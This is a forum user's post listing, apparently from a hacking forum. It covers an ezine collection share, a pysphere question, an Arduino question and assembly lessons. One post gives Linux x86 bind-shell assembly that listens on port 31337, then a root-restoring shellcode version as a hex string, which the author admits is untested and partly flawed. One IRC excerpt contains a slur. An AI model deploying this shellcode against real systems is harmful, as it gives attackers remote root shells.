Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Topics - RedBullAddicted

Pages: [1] 2
1
Found it on the Webs / Hacking related Ezines
« on: November 17, 2015, 04:10:19 pm »
Hi,

I recently found a nice page with a collection of hacking related ezines. Some are pretty old and pretty amusing to look through. Haven't checked all of them but I thought I just download them and share them with you.

Quote
_____/\\\\\\\\___/\\\\\\\\\\\_\///___/\\/\\\\\\_______/\\\\\\\\___/\\\\\\\\\\_     
  ___/\\\/////\\\_\///////\\\/___/\\\_\/\\\////\\\____/\\\/////\\\_\/\\\//////__   
   __/\\\\\\\\\\\_______/\\\/____\/\\\_\/\\\__\//\\\__/\\\\\\\\\\\__\/\\\\\\\\\\_   
    _\//\\///////______/\\\/______\/\\\_\/\\\___\/\\\_\//\\///////___\////////\\\_ 
     __\//\\\\\\\\\\__/\\\\\\\\\\\_\/\\\_\/\\\___\/\\\__\//\\\\\\\\\\__/\\\\\\\\\\_
      ___\//////////__\///////////__\///__\///____\///____\//////////__\//////////__
                             http://kr5hou2zh4qtebqk.onion/ezines/


You just found the best(TM) collection of hacking ezines on all of the intertubes!

A lot of the zines are from the 80s and 90s, but not all of them. Hacker ezines
are not as popular as they used to be, they still exist though.

 This collection contains newsletters, bbs texts, ownages and so much more.
Since everything is ordered by name the zines are completely mixed. So if you do
not like what you read, go to another directory.

 Most of the zines are in nice and easy to read plain text. Not all zines are
released as plain text though, some are released as pdfs and archives. Booo. But
I decided to include them as well if the content is good enough.
 I try to keep the original names of the files and directories. Since I do not
always get the zines from the real source but other collections I can not
guarantee that it is always correct. I also do not modify the zines.

If you want to send me more zines or information use e-mail:

   collector_john@safe-mail.net

You can download the collection here: ezines.zip

Enjoy!

2
Hi,

Maybe someone can explain that weird behavior to me. I really don't get it :) I try to get some infos from a vcenter server about used datastores using pysphere.

First I simply connect, get the datastores and their properties and get the hosts that have that specific datastore mounted:

Code: (python) [Select]
>>> from pysphere import VIServer, VIProperty
>>> import inspect
>>> server = VIServer()
>>> server.connect("server", "user", "password")
>>> dsMorList = []
>>> for ds_mor, ds_name in server.get_datastores().items():
...   dsMorList.append(ds_mor)
...
>>> propsList = []
>>> for ds_mor in dsMorList:
...   propsList.append(VIProperty(server, ds_mor))
...
>>> hostList = []
>>> for props in propsList:
...   for host in props.host:
...     hostList.append(host)
...
>>>

so far nothing fancy and pretty simple. Now I need the hostname of the returned host object. I inspected the object and found out that it has a method called key which has a __dict__ attribute. Inside that dictionary is another dictionary called _values and the key for the hostname is "name".

Code: (python) [Select]
>>> hostList[0].key._values["name"]
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/lib/python2.7/dist-packages/pysphere/vi_property.py", line 74, in __getattr__
    raise AttributeError("object has not attribute %s" % name)
AttributeError: object has not attribute _values
>>> hostList[0].key._values["name"]
'hostname01.domain.local'

As you can see I get an AttributeError on the first try and the expected result on the second try. If I do an inspect of the object first I can access the desired value directly afterwards:

Code: (python) [Select]
>>> inspect.getmembers(hostList[1].key)
[('__class__', <class 'pysphere.vi_property.VIProperty'>), ('__delattr__', <method-wrapper '__delattr__' of VIProperty object at 0x6d8c910>), ('__dict__', {'_server': <pysphere.vi_server.VIServer instance at 0x3d14050>, '_obj': 'host-1966', '_type': 'ManagedObjectReference', '_values': {'effectiveRole': <pysphere.resources.VimService_services_types.ArrayOfInt_Holder object at 0x1140ae90>, 'alarmActionsEnabled': True, 'configStatus': 'green', 'disabledMethod': <pysphere.resources.VimService_services_types.ArrayOfString_Holder object at 0x1140ac90>, 'hardware': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x13ba6d10>, 'tag': <pysphere.resources.VimService_services_types.ArrayOfTag_Holder object at 0x14009610>, 'value': <pysphere.resources.VimService_services_types.ArrayOfCustomFieldValue_Holder object at 0x14009e50>, 'datastore': <pysphere.resources.VimService_services_types.ArrayOfManagedObjectReference_Holder object at 0x11405110>, 'triggeredAlarmState': <pysphere.resources.VimService_services_types.ArrayOfAlarmState_Holder object at 0x14009c10>, 'network': <pysphere.resources.VimService_services_types.ArrayOfManagedObjectReference_Holder object at 0x13bc8390>, 'configIssue': <pysphere.resources.VimService_services_types.ArrayOfEvent_Holder object at 0x13b9c6d0>, 'systemResources': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x13d9a950>, 'recentTask': <pysphere.resources.VimService_services_types.ArrayOfManagedObjectReference_Holder object at 0x13bc8b50>, 'availableField': <pysphere.resources.VimService_services_types.ArrayOfCustomFieldDef_Holder object at 0x70dba10>, 'config': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x113f28d0>, 'parent': 'domain-c1498', 'permission': <pysphere.resources.VimService_services_types.ArrayOfPermission_Holder object at 0x13bc88d0>, 'vm': <pysphere.resources.VimService_services_types.ArrayOfManagedObjectReference_Holder object at 0x1400d9d0>, 'datastoreBrowser': 'datastoreBrowser-host-1966', 'licensableResource': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x13bc3850>, 'customValue': <pysphere.resources.VimService_services_types.ArrayOfCustomFieldValue_Holder object at 0x113ff590>, 'name': 'hostname02.domain.local', 'declaredAlarmState': <pysphere.resources.VimService_services_types.ArrayOfAlarmState_Holder object at 0x11405550>, 'summary': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x13cd7a50>, 'capability': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x85f7290>, 'configManager': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x113fb0d0>, 'runtime': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x13cb1850>, 'overallStatus': 'green'}, '_values_set': True}), ('__doc__', None), ('__format__', <built-in method __format__ of VIProperty object at 0x6d8c910>), ('__getattr__', <bound method VIProperty.__getattr__ of <pysphere.vi_property.VIProperty object at 0x6d8c910>>), ('__getattribute__', <method-wrapper '__getattribute__' of VIProperty object at 0x6d8c910>), ('__hash__', <method-wrapper '__hash__' of VIProperty object at 0x6d8c910>), ('__init__', <bound method VIProperty.__init__ of <pysphere.vi_property.VIProperty object at 0x6d8c910>>), ('__module__', 'pysphere.vi_property'), ('__new__', <built-in method __new__ of type object at 0x886600>), ('__reduce__', <built-in method __reduce__ of VIProperty object at 0x6d8c910>), ('__reduce_ex__', <built-in method __reduce_ex__ of VIProperty object at 0x6d8c910>), ('__repr__', <method-wrapper '__repr__' of VIProperty object at 0x6d8c910>), ('__setattr__', <method-wrapper '__setattr__' of VIProperty object at 0x6d8c910>), ('__sizeof__', <built-in method __sizeof__ of VIProperty object at 0x6d8c910>), ('__str__', <method-wrapper '__str__' of VIProperty object at 0x6d8c910>), ('__subclasshook__', <built-in method __subclasshook__ of type object at 0x1fc57f0>), ('__weakref__', None), ('_flush_cache', <bound method VIProperty._flush_cache of <pysphere.vi_property.VIProperty object at 0x6d8c910>>), ('_get_all', <bound method VIProperty._get_all of <pysphere.vi_property.VIProperty object at 0x6d8c910>>), ('_get_prop_value', <bound method VIProperty._get_prop_value of <pysphere.vi_property.VIProperty object at 0x6d8c910>>), ('_obj', 'host-1966'), ('_server', <pysphere.vi_server.VIServer instance at 0x3d14050>), ('_type', 'ManagedObjectReference'), ('_values_set', True)]
>>> hostList[1].key._values["name"]
'hostname02.domain.local'

Something else I wanted to add :)

Code: (python) [Select]
>>> hostList[5].key.__dict__
{'_server': <pysphere.vi_server.VIServer instance at 0x3d14050>, '_obj': 'host-2069', '_type': 'ManagedObjectReference', '_values_set': False}

>>> inspect.getmembers(hostList[5].key)
[('__class__', <class 'pysphere.vi_property.VIProperty'>), ('__delattr__', <method-wrapper '__delattr__' of VIProperty object at 0x70c20d0>), ('__dict__', {'_server': <pysphere.vi_server.VIServer instance at 0x3d14050>, '_obj': 'host-2069', '_type': 'ManagedObjectReference', '_values': {'effectiveRole': <pysphere.resources.VimService_services_types.ArrayOfInt_Holder object at 0x737c610>, 'alarmActionsEnabled': True, 'configStatus': 'green', 'disabledMethod': <pysphere.resources.VimService_services_types.ArrayOfString_Holder object at 0x737c410>, 'hardware': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x7383490>, 'tag': <pysphere.resources.VimService_services_types.ArrayOfTag_Holder object at 0x11637110>, 'value': <pysphere.resources.VimService_services_types.ArrayOfCustomFieldValue_Holder object at 0x116378d0>, 'datastore': <pysphere.resources.VimService_services_types.ArrayOfManagedObjectReference_Holder object at 0xcfe8850>, 'triggeredAlarmState': <pysphere.resources.VimService_services_types.ArrayOfAlarmState_Holder object at 0x11637690>, 'network': <pysphere.resources.VimService_services_types.ArrayOfManagedObjectReference_Holder object at 0x78b3ad0>, 'configIssue': <pysphere.resources.VimService_services_types.ArrayOfEvent_Holder object at 0x7375e10>, 'systemResources': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x79ad0d0>, 'recentTask': <pysphere.resources.VimService_services_types.ArrayOfManagedObjectReference_Holder object at 0x78b82d0>, 'availableField': <pysphere.resources.VimService_services_types.ArrayOfCustomFieldDef_Holder object at 0x16b781d0>, 'config': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0xcfd2a50>, 'parent': 'domain-c1498', 'permission': <pysphere.resources.VimService_services_types.ArrayOfPermission_Holder object at 0x78b8050>, 'vm': <pysphere.resources.VimService_services_types.ArrayOfManagedObjectReference_Holder object at 0x1163b450>, 'datastoreBrowser': 'datastoreBrowser-host-2069', 'licensableResource': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x739af90>, 'customValue': <pysphere.resources.VimService_services_types.ArrayOfCustomFieldValue_Holder object at 0xcfe5cd0>, 'name': 'hostname05.domain.local', 'declaredAlarmState': <pysphere.resources.VimService_services_types.ArrayOfAlarmState_Holder object at 0xcfe8c90>, 'summary': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x78e31d0>, 'capability': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x9dec410>, 'configManager': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0xcfdf810>, 'runtime': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x78b8f90>, 'overallStatus': 'green'}, '_values_set': True}), ('__doc__', None), ('__format__', <built-in method __format__ of VIProperty object at 0x70c20d0>), ('__getattr__', <bound method VIProperty.__getattr__ of <pysphere.vi_property.VIProperty object at 0x70c20d0>>), ('__getattribute__', <method-wrapper '__getattribute__' of VIProperty object at 0x70c20d0>), ('__hash__', <method-wrapper '__hash__' of VIProperty object at 0x70c20d0>), ('__init__', <bound method VIProperty.__init__ of <pysphere.vi_property.VIProperty object at 0x70c20d0>>), ('__module__', 'pysphere.vi_property'), ('__new__', <built-in method __new__ of type object at 0x886600>), ('__reduce__', <built-in method __reduce__ of VIProperty object at 0x70c20d0>), ('__reduce_ex__', <built-in method __reduce_ex__ of VIProperty object at 0x70c20d0>), ('__repr__', <method-wrapper '__repr__' of VIProperty object at 0x70c20d0>), ('__setattr__', <method-wrapper '__setattr__' of VIProperty object at 0x70c20d0>), ('__sizeof__', <built-in method __sizeof__ of VIProperty object at 0x70c20d0>), ('__str__', <method-wrapper '__str__' of VIProperty object at 0x70c20d0>), ('__subclasshook__', <built-in method __subclasshook__ of type object at 0x1fc57f0>), ('__weakref__', None), ('_flush_cache', <bound method VIProperty._flush_cache of <pysphere.vi_property.VIProperty object at 0x70c20d0>>), ('_get_all', <bound method VIProperty._get_all of <pysphere.vi_property.VIProperty object at 0x70c20d0>>), ('_get_prop_value', <bound method VIProperty._get_prop_value of <pysphere.vi_property.VIProperty object at 0x70c20d0>>), ('_obj', 'host-2069'), ('_server', <pysphere.vi_server.VIServer instance at 0x3d14050>), ('_type', 'ManagedObjectReference'), ('_values_set', True)]

>>> hostList[5].key.__dict__
{'_server': <pysphere.vi_server.VIServer instance at 0x3d14050>, '_obj': 'host-2069', '_type': 'ManagedObjectReference', '_values': {'effectiveRole': <pysphere.resources.VimService_services_types.ArrayOfInt_Holder object at 0x737c610>, 'alarmActionsEnabled': True, 'configStatus': 'green', 'disabledMethod': <pysphere.resources.VimService_services_types.ArrayOfString_Holder object at 0x737c410>, 'hardware': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x7383490>, 'tag': <pysphere.resources.VimService_services_types.ArrayOfTag_Holder object at 0x11637110>, 'value': <pysphere.resources.VimService_services_types.ArrayOfCustomFieldValue_Holder object at 0x116378d0>, 'datastore': <pysphere.resources.VimService_services_types.ArrayOfManagedObjectReference_Holder object at 0xcfe8850>, 'triggeredAlarmState': <pysphere.resources.VimService_services_types.ArrayOfAlarmState_Holder object at 0x11637690>, 'network': <pysphere.resources.VimService_services_types.ArrayOfManagedObjectReference_Holder object at 0x78b3ad0>, 'configIssue': <pysphere.resources.VimService_services_types.ArrayOfEvent_Holder object at 0x7375e10>, 'systemResources': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x79ad0d0>, 'recentTask': <pysphere.resources.VimService_services_types.ArrayOfManagedObjectReference_Holder object at 0x78b82d0>, 'availableField': <pysphere.resources.VimService_services_types.ArrayOfCustomFieldDef_Holder object at 0x16b781d0>, 'config': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0xcfd2a50>, 'parent': 'domain-c1498', 'permission': <pysphere.resources.VimService_services_types.ArrayOfPermission_Holder object at 0x78b8050>, 'vm': <pysphere.resources.VimService_services_types.ArrayOfManagedObjectReference_Holder object at 0x1163b450>, 'datastoreBrowser': 'datastoreBrowser-host-2069', 'licensableResource': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x739af90>, 'customValue': <pysphere.resources.VimService_services_types.ArrayOfCustomFieldValue_Holder object at 0xcfe5cd0>, 'name': 'hostname05.domain.local', 'declaredAlarmState': <pysphere.resources.VimService_services_types.ArrayOfAlarmState_Holder object at 0xcfe8c90>, 'summary': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x78e31d0>, 'capability': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x9dec410>, 'configManager': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0xcfdf810>, 'runtime': <pysphere.resources.VimService_services_types.DynamicData_Holder object at 0x78b8f90>, 'overallStatus': 'green'}, '_values_set': True}


Why can't I access the needed data on the first go? I just don't get it. What am I doing wrong?

Thanks for your help :)



3
Hardware / [Arduino] Bot move left, right functionality
« on: March 03, 2014, 09:25:21 am »
Hi,

I try to build my first little robot and I guess I need a additional part but I don't know what to look for as I am absolutely clueless.. lol.
Basically my bot now consists out of two dc motors, one servo motor to rotate a ultra sonic distance thingy. With the ultra sonic I can check how far the next wall is away and if the wall is to close the bot should move to the left or the right. At the moment I break one motor and speed up the other to have a rotation. I need to use a delay of a specific time to make him stop after he rotated for 90 degrees. With the delay this is pretty inaccurate. Is there a part that can measure the rotation the bot performed? If yes what is the name of it?

Thanks :P

4
Assembly - Embedded / [ASM] Linux x86 bind bash (intel)
« on: December 01, 2013, 02:11:38 pm »
Thanks to Factionwars and the ASM lessons he gave me I was finally able to write the following code. I know it is not perfect and I basically did it to have a reference code that contains all informations one needs to understand it. I am sure this could be done much better :P Don't bash on me cause these are my first steps with asm.. lol. Next step would be to include a setresuid syscall and turn it into actual shellcode.

Code: (asm) [Select]
BITS 32

; int socketcall(int call, unsigned long *args); -> No. 102 (0x66)

; from /usr/include/linux/net.h
; #define SYS_SOCKET 1 /* sys_socket(2) */
; #define SYS_BIND 2 /* sys_bind(2) */
; #define SYS_CONNECT 3 /* sys_connect(2) */
; #define SYS_LISTEN 4 /* sys_listen(2) */
; #define SYS_ACCEPT 5 /* sys_accept(2) */
; #define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */
; #define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
; #define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */
; #define SYS_SEND 9 /* sys_send(2) */
; #define SYS_RECV 10 /* sys_recv(2) */
; #define SYS_SENDTO 11 /* sys_sendto(2) */
; #define SYS_RECVFROM 12 /* sys_recvfrom(2) */
; #define SYS_SHUTDOWN 13 /* sys_shutdown(2) */
; #define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */
; #define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */
; #define SYS_SENDMSG 16 /* sys_sendmsg(2) */
; #define SYS_RECVMSG 17 /* sys_recvmsg(2) */

section .data:
    bashstring: db "/bin/bash", 0x00        ; path to the programm we want to execute

section .text:
    global _start

_start:
    ; create a socket file descriptor --------------------------------------------------
    ; int socket(int domain, int type, int protocol);
    ; from /usr/include/i386-linux-gnu/bits/socket.h
    ; #define PF_INET     2   /* IP protocol family.  */
    ; SOCK_STREAM = 1,        /* Sequenced, reliable, connection-based byte streams.  */
    ; s = socket (1)(PF_INET (2), SOCK_STREAM (1), 0)

    mov eax, 0x66            ; linux syscall socketcall
    mov ebx, 0x01            ; 1 = SYS_SOCKET = socket()

    ; build the argument array on the stack
    push BYTE 0x00            ; int protocol = 0
    push BYTE 0x01            ; int type = SOCK_STREAM (1)
    push BYTE 0x02            ; int domain = PF_INET (2)
    mov ecx, esp            ; pointer to argument array

    int 0x80                ; Kernel interrupt, socket file descriptor will be in eax
    mov esi, eax            ; save the socket fd in esi for later use

    ; bind the socket to port 31337 ---------------------------------------------------
    ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    ; bind=2(sockfd=esi, (AF_INET=2, PORT = 31337, INADDR_ANY = 0), size of struct)
    ; from /usr/include/netinet/in.h -> #define INADDR_ANY      ((in_addr_t) 0x00000000)

    mov eax, 0x66            ; linux syscall socketcall
    mov ebx, 0x02            ; 2 = SYS_BIND = bind()

    ; build sockaddr struct on the stack
    push BYTE 0x00            ; INADDR_ANY = 0
    push WORD 0x697a        ; PORT = 31337
    push WORD 0x0002        ; AF_INET = 2
    mov ecx, esp            ; pointer to sockaddr struct

    ; build the bind() arguments
    push BYTE 0x10            ; sizeof(sockaddr struct) = 16 -> why?
    push ecx                ; sockaddr struct pointer
    push esi                ; socket file descriptor
    mov ecx, esp            ; pointer to argument array
    int 0x80                ; Kernal interrupt. eax will hold 0 on success

    ; set the socket into listen mode -----------------------------------------------
    ; int listen(int sockfd, int backlog);
    ; listen=4(sockfd=esi, backlog=4)

    mov eax, 0x66            ; linux syscall socketcall
    mov ebx, 0x04            ; 4 = SYS_LISTEN = listen()

    ; build the Listen() arguments on the stack
    push ebx                ; backlog = 4
    push esi                ; socket file descriptor
    mov ecx, esp            ; pointer to argument array
    int 0x80                ; kernel interrupt

    ; tell the socket to accept connections ----------------------------------------
    ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
    ; accept=5(sockfd=esi, sockaddr pointer = NULL, socklen = 0)

    mov eax, 0x66            ; linux syscall socketcall
    mov ebx, 0x05            ; 5 = SYS_ACCEPT = accept()

    ; build the accept() arguments on the stack
    xor edx, edx            ; zero out edx
    push edx                ; socklen = 0
    push edx                ; sockaddr pointer = 0
    push esi                ; socket file descriptor
    mov ecx, esp            ; pointer to argument array
    int 0x80                ; kernel interrupt. eax will hold the connected socket file descriptor

    ; duplicate stdin, stdout, stderr ---------------------------------------------
    ; dup2 is syscall 63 int dup2(int oldfd, int newfd);
    ; dub2=63(connected socket fd=eax, (0=stdin, 1=stdout, 2=stderr))

    ; duplicate stdin to connected socket file descriptor
    mov ebx, eax            ; save the connected socket file descriptor into ebx
    mov eax, 0x3f            ; linux syscall dup2
    mov ecx, 0x00            ; duplicate stdin
    int 0x80                ; kernel interrrupt

    ; duplicate stdout to connected socket file descriptor
    mov eax, 0x3f            ; linux syscall dup2
    inc ecx                    ; duplicate stdout, ebx still holds the socket fd
    int 0x80                ; kernel interrrupt

    ; duplicate stderr to connected socket file descriptor
    mov eax, 0x3f            ; linux syscall dup2
    inc ecx                    ; duplicate stderr, ebx still holds the socket fd
    int 0x80                ; kernel interrupt

    ; Execute /bin/bash ----------------------------------------------------------
    ; execve is syscall 11 execve(const char *filename, char *const argv [], char *const envp[])
    ; execve=11(bashstring, 0, 0)

    mov eax, 0x0b            ; linux syscall execve
    mov ebx, bashstring        ; pointer to the programm that should get executed
    xor ecx, ecx            ; zero out ecx
    push ecx                ; push ecx to the stack
    mov ecx, esp            ; pointer for argv
    mov edx, esp            ; pointer for envp
    int 0x80                ; kernel interrupt

If you have any questions regarding this just ask and I will try to answer them.

EDIT: Ok, I made some shellcode out of it (and included the setresuid syscall) using the knowledge I already have about it (nearly 0.. lol). I haven't used any shellcoding tricks to make it shorter. Tbh.. I don't really know if this is working.. lol

Code: (asm) [Select]
BITS 32

; create socket file descriptor
mov al, 0x66            ; linux syscall socketcall
mov bl, 0x01            ; 1 = socket()
xor edx, edx            ; zero out edx
push edx                ; int protocol = 0
push BYTE 0x01            ; int type = SOCK_STREAM (1)
push BYTE 0x02            ; int domain = PF_INET (2)
mov ecx, esp            ; pointer to argument array
int 0x80                ; kernel interrrupt
mov esi, eax            ; save socket file descriptor

; bind the socket to port 31337
mov al, 0x66            ; linux syscall socketcall
mov bl, 0x02            ; 2 = bind()
push edx                ; 0 = INADDR_ANY
push WORD 0x697a        ; 31337 = PORT
push WORD bx            ; 2 = AF_INET
mov ecx, esp            ; pointer to sockaddr struct
push BYTE 0x10            ; sizeof(sockaddr struct) = 16
push ecx                ; sockaddr struct pointer
push esi                ; socket file descriptor
mov ecx, esp            ; pointer to argument array
int 0x80                ; kernel interrupt

; set the socket into listen mode
mov al, 0x66            ; linux syscall socketcall
mov bl, 0x04            ; 4 = listen()
push ebx                ; backlog = 4
push esi                ; socket file descriptor
mov ecx, esp            ; pointer to argument array
int 0x80                ; kernel interrupt

; tell the socket to accept connections
mov al, 0x66            ; linux syscall socketcall
mov bl, 0x05            ; 5 = accept()
push edx                ; socklen = 0
push edx                ; sockaddr pointer = 0
push esi                ; socket file descriptor
mov ecx, esp            ; pointer to argument array
int 0x80                ; kernel interrupt, eax holds the connected socket file descriptor

; duplicate stdin, stdout, stderr
mov ebx, eax            ; save connected socket file descriptor to ebx
mov al, 0x3f            ; linux syscall dup2
mov ecx, edx            ; 0 = stdin
int 0x80                ; kernel interrupt
mov al, 0x3f            ; linux syscall dup2
mov cl, 0x01            ; 1 = stdout
int 0x80                ; kernel interrupt
mov al, 0x3f            ; linux syscall dup2
mov cl, 0x02            ; 2 = stderr

; restore privs int setresuid(uid_t ruid, uid_t euid, uid_t suid);
mov al, 0xa4            ; linux syscall setresuid
xor ebx, ebx            ; real user id = 0 (root)
xor ecx, ecx            ; effective user id = 0 (root)
xor edx, edx            ; set user id = 0 (root)
int 0x80                ; kernel interrupt

; start a bash
xor eax, eax            ; zero out eax
push eax                ; null terminator for /bin/bash, 0x00
push 0x68736162         ; string bash
push 0x2f2f2f2f         ; string ////
push 0x6e69622f         ; string /bin
mov ebx, esp            ; pointer to null terminated string
mov ecx, [esp+12]        ; pointer to null
mov edx, [esp+12]        ; pointer to null
mov al, 0x0b            ; linux syscall execve
int 0x80                ; kernel interrupt

the shellcode would be:

Code: [Select]
\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x53\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x89\xd1\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xb0\xa4\x31\xdb\x31\xc9\x31\xd2\xcd\x80\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x4c\x24\x0c\x8b\x54\x24\x0c\xb0\x0b\xcd\x80
I realized that I have a lot to learn here :P lets get it on.

cheers,
RBA

5
Intro

Lately I decided that it would be awesome to know more about the assembly language. Factionwars, kind as he is, offered to help me learn it and began to hold a class for me. Later, he asked me if I can post it on evilzone so that others can get some out of it too. I dont just want to post the corresponding IRC logs but use the thread as some kind of a summary for myself. So.. enough about all that. Here it is :)

Recommended: http://en.wikibooks.org/wiki/X86_Assembly
I will update this post everytime Factionwars showed me something new :P

# - Lesson 1


0x01 Very basic ELF file layout

Quote
<Factionwars> What segments do you have in your nasm file?
<Factionwars> You have atleast one already
<Factionwars> Givining you a class here
<Factionwars> be active
<rba_work> yes :) .data and .text which has the _global _start and a _start: section. As far as I understood _start: is equal to a main function in c
<Factionwars> Nope
<rba_work> well.. I think I should go back to reading then
<rba_work> lol
<Factionwars> no faggot i am writing
<rba_work> ok :)
<Factionwars> All default elf files have _start as their entry point, c/c++ compiled elf files also have this, but there happens some prologue work for the main function to be runned smoothly.

Code: (asm) [Select]

; this is a comment .. lol
section .text                            ; defines the section where your program code is located
    global _start                       ; this is needed by the linker (ld)
 _start:                                   ; All default elf files have _start as their entry point
    ;do something here


0x02 General Purpose Registers (GPR)

Quote
<Factionwars> So the 32 bit general purpose registers are EAX, EBX, ECX, EDX, ESI, EDI, EBP, ESP,
<Factionwars> Where the last 2 are used for controlling the stack only
<Factionwars> We will later get on to that.
<Factionwars> Okay you have EAX
<Factionwars> EAX is a 32 bit register, as you know 32 bit wasn't always the standard so you also have 16 bit
<Factionwars> You can access the lower 16 bits of EAX by using AX
<Factionwars> This is the same for BX, CB, SI, DI, BP, SP

 
Image: http://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture
 

 
Quote
<Factionwars> AX can be divided in 2 halfs, the lower and the higher
<Factionwars> Try to connect words to everything
<Factionwars> so AX = AL + AH
<Factionwars> AX = ALOW + AHIGH
<Factionwars> :)
<Factionwars> So in order to write 0x000004 to EAX you could just do mov al, 0x04 (assuming that eax is zero already)
<Factionwars> or mov ah, 0x04 results in 0x00000400
<Factionwars> Because AH is the high half of AX

0x03 Linux Syscalls

Quote
<Factionwars> The way you have to look up the syscall number
<Factionwars> is
<Factionwars> vim /usr/include/asm/unistd_32.h
<Factionwars> then take the name and do a "man 2 SYSCALL" this will give you detailed information about the syscall
<Factionwars> In C form so your exactly know how the data should look like
<Factionwars> Be sure that in the man page the only required include is unistd.h
<Factionwars> Later on we will talk about using glibc functions in ASM

man 2 exit
Code: [Select]
_EXIT(2)                     Linux Programmer's Manual                     _EXIT(2)
 
NAME
       _exit, _Exit - terminate the calling process
 
SYNOPSIS
       #include <unistd.h>
 
       void _exit(int status);
 
       #include <stdlib.h>
 
       void _Exit(int status);
 
   Feature Test Macro Requirements for glibc (see feature_test_macros(7)):
 
       _Exit():
           _XOPEN_SOURCE >= 600 || _ISOC99_SOURCE || _POSIX_C_SOURCE >= 200112L;
           or cc -std=c99
 
DESCRIPTION
       The function _exit() terminates the calling process "immediately".  Any open
       file descriptors belonging to the process are closed; any  children  of  the
       process are inherited by process 1, init, and the process's parent is sent a
       SIGCHLD signal.

0x04 Executing a syscall
 
Quote
<Factionwars> So a rule to remember, syscall functions as defined in /usr/include/asm/unistd_32.h get their arguments by using the general purpose registers, where the first GPR (general purpose register) EAX is used for the syscall number
<Factionwars> 0x80 means that you have prepared a syscall and that you want it executed.
<Factionwars> So
<Factionwars> Open up a shell
<Factionwars> create a asm file
<Factionwars> Write the first part, that consist of the basic .text global _start _start (with spaces ofc)
 
<Factionwars> What do you know about the logical gates OR, AND, XOR,
<Factionwars> be quick
<Factionwars> Do you know what XOR does
<Factionwars> OR is one of both or both
<Factionwars> the X in XOR is execlusive
<Factionwars> That means One of both but not both
<Factionwars> In other words XOR 1, 1 == 0 XOR 1,0 == 1 XOR 0,1 == 1 XOR 0,0 == 0
<Factionwars> This is quite handy in assembly to zero out a register. Because XOR EAX, EAX is always zero.
 
<Factionwars> Start your asm file with putting some bogus into EAX, for example 0x1337.
<Factionwars> Then you want to do the syscall exit
<Factionwars> You know the EAX register is filled with something and you want it to zero in order to but 1 in the lower half of AX wich is the lower half of EAX.
<Factionwars> So you XOR eax by eax
<Factionwars> Because what eax is, it will always be or both true or both false thus always returning 0
<Factionwars> Then you set up your exit call by putting 0x01 in eax. But i want you to put it in the lower half of AX
<Factionwars> Then we want to give the return value of 1
<Factionwars> First we zero out the EBX register by xorring it with hiself. Then we INC ebx :)  thus resultin in 1

Code: (asm) [Select]
section .text
            global _start
 
_start:
            mov eax, 0x1337        ; Fill EAX with bogus data
            xor eax, eax                ; Set EAX to 0
 
            mov al, 0x01               ; Fill the lower 8 Bit of AX with 1
 
            xor ebx, ebx                ; Set EBX to 0
            inc ebx                        ; Increment EBX
 
            int 0x80                       ; call the Kernel

0x05 Compiling, linking and debugging
 
Quote
<Factionwars> great, we need though be sure that you are compiling everything 32 bit style. 
<Factionwars> in nasm: nasm -f elf32 FILE

Code: [Select]
debian nasm # ls
lesson1.asm
debian nasm # nasm –f elf32 lesson1.asm
debian nasm # ls
lesson1.asm lesson1.o

Quote
<Factionwars> then to link it to a ELF file: ld ass.o -o ass -m elf_i386
<Factionwars> I prefer to save that to a bash script
<Factionwars> for easy reference

Code: [Select]
debian nasm # ld lesson1.o -o lesson1 -m elf_i386
debian nasm # ls
lesson1 lesson1.asm lesson1.o

Quote
<Factionwars> you can check the return value with "echo $?" in bash

Code: [Select]
debian nasm # ./lesson1 | echo $?
1

Quote
<Factionwars> great
<Factionwars> Do you have gdb installed?
<Factionwars> then write : set disassembly-flavor intel  to /etc/gdb/gdbinit 
<Factionwars> That is a gdb command but because you don't want to write it everytime you will put it in there
<Factionwars> Great now open it up with "gdb filename"y
<Factionwars> And try to run it with run or just r

Code: [Select]
debian nasm # gdb lesson1

(gdb) run
Starting program: /rba/nasm/lesson1
[Inferior 1 (process 3091) exited with code 01]

0x06 Disassembling and breakpoints
 
Quote
<Factionwars> Now it just executes 
<Factionwars> But we want to see what is happening
